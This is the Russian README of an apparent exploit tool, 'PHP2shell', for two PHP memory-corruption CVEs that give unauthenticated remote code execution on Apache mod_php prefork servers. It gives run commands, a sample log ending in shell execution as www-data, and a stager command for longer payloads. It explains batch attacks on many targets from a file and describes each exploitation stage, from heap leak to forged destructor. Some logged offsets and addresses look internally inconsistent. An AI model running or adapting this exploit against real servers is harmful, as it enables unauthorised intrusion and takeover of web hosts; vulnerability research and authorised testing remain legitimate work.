
Однокликерный PoC-эксплойт для CVE-2026-109618 и CVE-2026-109619 против уязвимых целей PHP + Apache mod_php (prefork).
Однокнопочный боевой PoC для CVE-2026-109618 и CVE-2026-109619
Нацелен на уязвимые развёртывания PHP + Apache mod_php (prefork).
⚠️ ВНИМАНИЕ: Этот инструмент предоставляется исключительно для авторизованного тестирования безопасности, CTF и образовательных исследований. Не используйте его против инфраструктуры, которой вы не владеете или на тестирование которой у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование.
PHP2shell — это многоэтапный эксплойт повреждения памяти, нацеленный на ядро PHP в окружениях Apache mod_php prefork.
Злоупотребляя обработкой Out-Of-Memory (OOM) и состоянием, принадлежащим запросу, которое сохраняется в постоянных воркерах, этот эксплойт обходит ASLR (Address Space Layout Randomization), утекает внутренние указатели кучи и libphp.so и подделывает структуры PHP для достижения неаутентифицированного удалённого выполнения кода (RCE).
bookworm (по умолчанию): Официальный Docker-образ php:8.4.26-apache на Debian Bookworm.lab: Пользовательская лабораторная сборка (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).Запустите всё за считанные секунды.
git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py
python3 php2shell.py -u http://127.0.0.1:8088/index.php
$ python3 php2shell.py -u http://target.local/index.php
.__ ________ .__ .__ .__
______ | |__ ______ \_____ \ _____| |__ ____ | | | |
\____ \| | \\____ \ / ____/ / ___/ | \_/ __ \| | | |
| |_> > Y \ |_> > \ \___ \| Y \ ___/| |_| |__
| __/|___| / __/\_______ \/____ >___| /\___ >____/____/
|__| \/|__| \/ \/ \/ \/
php2shell — CVE-2026-109618 / CVE-2026-109619
CVSS v4.0: 9.2 Critical
author: 0xgh057r3c0n
[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Из-за размера носителя в 167 байт длина команды строго ограничена 14 байтами. Для выполнения более длинных полезных нагрузок используйте короткий stager:
python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'
Создайте файл targets.txt:
http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local
Запустите эксплойт последовательно против всех целей:
python3 php2shell.py -t targets.txt
Если вы извлекли смещения вручную или ориентируетесь на пользовательскую сборку, передайте их напрямую:
python3 php2shell.py -u http://target.local/index.php \
--zif-offset 0x43A870 \
--dtor-offset 0x613C50 \
--htdata-offset 0x690D8
Вместо проверки локального файла заставьте эксплойт подтвердить RCE путём получения файла по HTTP:
python3 php2shell.py -u http://target.local/index.php \
-c 'id>/out/p1' \
--proof-file '' \
--fetch /out/p1
| Аргумент | Описание |
|---|---|
-u, --url | URL целевой PHP-страницы |
-t, --target-file | Файл с одним целевым URL на строку |
-c, --cmd | Команда для выполнения (макс. 14 байт) |
--proof-file | Локальный proof-файл для проверки (по умолчанию: out/p1) |
--fetch | GET-путь для удалённой проверки эксплуатации |
--profile | Профиль цели: bookworm (по умолчанию) или lab |
--zif-offset | Смещение zif_system в libphp.so |
--dtor-offset | Смещение ZVAL_PTR_DTOR в libphp.so |
--htdata-offset | Смещение 167-байтовой строки относительно чанка |
--retries | Число попыток на каждый этап утечки (по умолчанию: 3) |
--no-color | Отключить ANSI-цвета |
| Этап 0 | Ротация воркеров: Отправляет запрос увеличенного размера, чтобы заставить Apache prefork прервать текущий воркер и породить новый дочерний процесс с чистым хипом. |
| Этап 1 | Утечка хипа: Вызывает повреждение из-за OOM, в результате чего глобальный указатель модуля ссылается на освобождённую память. Распылённые поля формы захватывают слот поддельным zend_string, утекая указатели хипа через Set-Cookie. |
| Этап 2 | Обход ASLR: Утекает указатель zval_ptr_dtor из libphp.so. Вычитание известного DTOR_OFFSET раскрывает базовый адрес библиотеки. |
| Этап 3 | RCE: Подделывает фиктивную HashTable и устанавливает pDestructor в libphp_base + ZIF_OFFSET. Процедура очистки PHP вызывает zif_system с вашей командой. |
Лицензировано под MIT License. Подробности см. в LICENSE.
Создано с 🔥 автором 0xgh057r3c0n